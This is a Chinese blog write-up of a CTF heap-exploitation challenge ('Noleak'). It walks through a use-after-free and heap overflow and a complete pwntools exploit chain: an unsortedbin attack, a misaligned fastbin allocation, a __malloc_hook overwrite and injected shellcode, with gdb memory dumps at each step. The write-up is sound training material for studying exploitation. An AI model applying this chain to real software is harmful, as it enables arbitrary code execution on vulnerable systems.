攻防世界(pwn)Noleak

原创

PLpa、 于 2020-03-03 18:55:12 发布 1005 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/qq_43986365/article/details/104636687

前言：

看了大佬们的writeup，发现这题解法真的非常多，我这里用的是unsortedbin的地址写漏洞，详情可以看ctfwiki了解漏洞原因。

```
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments
```

没开NX，有可以执行的堆栈，但是开启了Full RELRO，不能修改got表地址了。

打开IDA：

```
ssize_t sub_400757()
{
  sub_40072C("Wellcome To the Heap World\n", 0x1Bu);
  sub_40072C("1. Create\n", 0xAu);
  sub_40072C("2. Delete\n", 0xAu);
  sub_40072C("3. Update\n", 0xAu);
  sub_40072C("4. Exit\n", 8u);
  return sub_40072C("Your choice :", 0xDu);
}
```

发现是一个菜单题，可以创建，删除，更新堆快信息，没有输出信息的选项，果然Noleak。
我们这里可以一个一个功能去看，看看漏洞存在哪里：

```
void new()
{
  signed int i; // [rsp+0h] [rbp-10h]
  int size; // [rsp+4h] [rbp-Ch]
  void *nbytes_4; // [rsp+8h] [rbp-8h]

  sub_40072C("Size: ", 6u);
  size = sub_4007B8();
  nbytes_4 = malloc(size);
  if ( nbytes_4 )
  {
    for ( i = 0; i <= 9 && buf[i]; ++i )
      ;
    if ( i == 10 )
    {
      sub_40072C("List is Full!\n", 0xEu);
      free(nbytes_4);
    }
    else
    {
      sub_40072C("Data: ", 6u);
      read(0, nbytes_4, (unsigned int)size);
      buf[i] = nbytes_4;
    }
  }
}
```


经过观察发现，程序只允许创建10个堆块，不允许多建，并且所有的堆块调用指针都存在buf处，等待调用，双击buf可以看到地址：

```
.bss:0000000000601040 buf             dq ?                    ; DATA XREF: new+4E↑r
```

接下来观察删除函数的实现方法：

```
void delete()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  sub_40072C("Index: ", 7u);
  v0 = sub_4007B8();
  if ( v0 <= 9 )
    free(buf[v0]);
}
```

free了buf里边的指针了，但是没有置空，我们仍然可以调用，形成UAF漏洞。

```
int update()
{
  void *v0; // rax
  unsigned int size; // ST0C_4
  int v3; // [rsp+8h] [rbp-8h]

  sub_40072C("Index: ", 7u);
  LODWORD(v0) = sub_4007B8();
  v3 = (signed int)v0;
  if ( (unsigned int)v0 <= 9 )
  {
    v0 = buf[(unsigned int)v0];
    if ( v0 )
    {
      sub_40072C("Size: ", 6u);
      size = sub_4007B8();
      sub_40072C("Data: ", 6u);
      LODWORD(v0) = read(0, buf[v3], size);
    }
  }
  return (signed int)v0;
}
```


update函数中可以重新输入堆块大小，并且直接可以根据修改的大小输入内容，造成了堆溢出漏洞。
我们用gdb看看，怎么利用这些漏洞。

```
new(0x80, 'aaa')
new(0x60, 'bbb')
delete(0)
gdb.attach(p)
pause()
```

首先申请一个small块和一个fast块，0x60可以随意，只要申请出来的堆块size为0x71便行，方便后面的错位申请堆块。
在这里下一个断点，我们查看一下堆信息。

```
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x23b9100 (size : 0x20f00)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x23b9000 (size : 0x90)
```


可以看到这里已经连入了unsortedbin里边了，由于可以调用free后的堆块，这里就可以利用unsortedbin攻击了：

> 在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码，当将一个 unsorted bin 取出的时候，会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

```
    /* remove from unsorted list */
         if (__glibc_unlikely (bck->fd != victim))
           malloc_printerr ("malloc(): corrupted unsorted chunks 3");
         unsorted_chunks (av)->bk = bck;
         bck->fd = unsorted_chunks (av);`
```

> 换而言之，如果我们控制了 bk 的值，我们就能将 unsorted_chunks (av) 写到任意地址。
> ----------引用于ctfwiki
> 我们直接修改unsortedbin的bk指针，使其指向buf区域，我们就会在buf区域留下unsortedbin的地址了。

```
update(0, 0x10, p64(0) + p64(0x601060))
new(0x80, 'ddd')
gdb.attach(p)
pause()
```

```
gdb-peda$ x/20gx 0x601040
0x601040:       0x0000000000201b010      0x0000000000201b0a0
0x601050:       0x0000000000201b010      0x0000000000000000
0x601060:       0x0000000000000000      0x0000000000000000
0x601070:       0x00007f325711cb78      0x0000000000000000
0x601080:       0x0000000000000000      0x0000000000000000
0x601090:       0x0000000000000000      0x0000000000000000
0x6010a0:       0x0000000000000000      0x0000000000000000
0x6010b0:       0x0000000000000000      0x0000000000000000
0x6010c0:       0x0000000000000000      0x0000000000000000
0x6010d0:       0x0000000000000000      0x0000000000000000
```

我们去unsortedbin中看一下有什么东西：

```
gdb-peda$ x/20gx 0x00007f325711cb78
0x7f325711cb78 <main_arena+88>: 0x0000000000201b100      0x0000000000000000
0x7f325711cb88 <main_arena+104>:        0x0000000000201b000      0x0000000000601060
0x7f325711cb98 <main_arena+120>:        0x00007f325711cb88      0x00007f325711cb88
0x7f325711cba8 <main_arena+136>:        0x00007f325711cb98      0x00007f325711cb98
0x7f325711cbb8 <main_arena+152>:        0x00007f325711cba8      0x00007f325711cba8
0x7f325711cbc8 <main_arena+168>:        0x00007f325711cbb8      0x00007f325711cbb8
0x7f325711cbd8 <main_arena+184>:        0x00007f325711cbc8      0x00007f325711cbc8
0x7f325711cbe8 <main_arena+200>:        0x00007f325711cbd8      0x00007f325711cbd8
0x7f325711cbf8 <main_arena+216>:        0x00007f325711cbe8      0x00007f325711cbe8
0x7f325711cc08 <main_arena+232>:        0x00007f325711cbf8      0x00007f325711cbf8
```

由于题目告诉我们libc库的版本为2.23，我们就可以利用他的性质来简单利用一下，我们查看上下文发现main_arena上面有malloc_hook。

```
gdb-peda$ x/20gx 0x00007f325711cb00
0x7f325711cb00 <__memalign_hook>:       0x00007f3256dfce20      0x00007f3256dfcdc0
0x7f325711cb10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7f325711cb20 <main_arena>:    0x0000000100000000      0x0000000000000000
0x7f325711cb30 <main_arena+16>: 0x0000000000000000      0x0000000000000000
0x7f325711cb40 <main_arena+32>: 0x0000000000000000      0x0000000000000000
0x7f325711cb50 <main_arena+48>: 0x0000000000000000      0x0000000000000000
0x7f325711cb60 <main_arena+64>: 0x0000000000000000      0x0000000000000000
0x7f325711cb70 <main_arena+80>: 0x0000000000000000      0x0000000000201b100
0x7f325711cb80 <main_arena+96>: 0x0000000000000000      0x0000000000201b000
0x7f325711cb90 <main_arena+112>:        0x0000000000601060      0x00007f325711cb88
```


而程序每次调用malloc时都会调用malloc_hook，这样我们就可以利用这一点，来修改malloc_hook为其他的我们堆栈上的地址，这样程序就会调用我们填充在堆栈上shellcode了。

```
delete(1)
update(1, 8, p64(0x60106d))
new(0x60, '\n')
gdb.attach(p)
pause()
```

```
gdb-peda$ x/20gx 0x60104d
0x60104d:       0x0001ac2010000000      0x0001ac20a0000000
0x60105d:       0x0000000000000000      0x0000000000000000
0x60106d:       0x7029b32b78000000      0x000000000000007f
0x60107d:       0x0000000000000000      0x0000000000000000
0x60108d:       0x0000000000000000      0x0000000000000000
0x60109d:       0x0000000000000000      0x0000000000000000
0x6010ad:       0x0000000000000000      0x0000000000000000
0x6010bd:       0x0000000000000000      0x0000000000000000
0x6010cd:       0x0000000000000000      0x0000000000000000
0x6010dd:       0x0000000000000000      0x0000000000000000
```


这里错位构造了0x60106d为0x7f，这样就可以在这里申请fastbin了，这是由于fastbin申请时需要检查size位，不然会报错，详情可以看ctfwiki中的fastbin attack。

```
new(0x60, '\x00'*3+p64(0x601070)+p64(0x601040))
gdb.attach(p)
pause()
```

```
gdb-peda$ x/20gx 0x601040
0x601040:       0x00000000015b3010      0x00000000015b30a0
0x601050:       0x00000000015b3010      0x00000000015b30a0
0x601060:       0x000000000060107d      0x0000000000000000
0x601070:       0x00007f445d5d3b78      0x0000000000000000
0x601080:       0x0000000000601070      0x0000000000601040
0x601090:       0x000000000000000a      0x0000000000000000
0x6010a0:       0x0000000000000000      0x0000000000000000
0x6010b0:       0x0000000000000000      0x0000000000000000
0x6010c0:       0x0000000000000000      0x0000000000000000
0x6010d0:       0x0000000000000000      0x0000000000000000
```

这里用了3个\x00来使地址位置移回来

```
update(8, 1, '\x10')
update(6, 8, p64(0x601040))
update(9, 256, asm(shellcraft.amd64.sh()))
gdb.attach(p)
pause()
```

```
gdb-peda$ x/20gx 0x601040
0x601040:       0x6e69622fb848686a      0xe7894850732f2f2f
0x601050:       0x2434810101697268      0x6a56f63101010101
0x601060:       0x894856e601485e08      0x050f583b6ad231e6
0x601070:       0x00007f623efe2b0a      0x0000000000000000
0x601080:       0x0000000000601070      0x0000000000601040
0x601090:       0x000000000000000a      0x0000000000000000
0x6010a0:       0x0000000000000000      0x0000000000000000
0x6010b0:       0x0000000000000000      0x0000000000000000
0x6010c0:       0x0000000000000000      0x0000000000000000
0x6010d0:       0x0000000000000000      0x0000000000000000
```

我们把main_arene的结尾改成\x10，这样就改到malloc_hook上面去了。改好这几个特殊的位置（位置自己数一下就行），我们就把bss段填充为shellcode了，最后调用一下malloc函数，程序就会自动执行shellcode了。

参考链接：https://wanghaichen.com/index.php/archives/noleak.html

https://blog.csdn.net/seaaseesa/article/details/103057937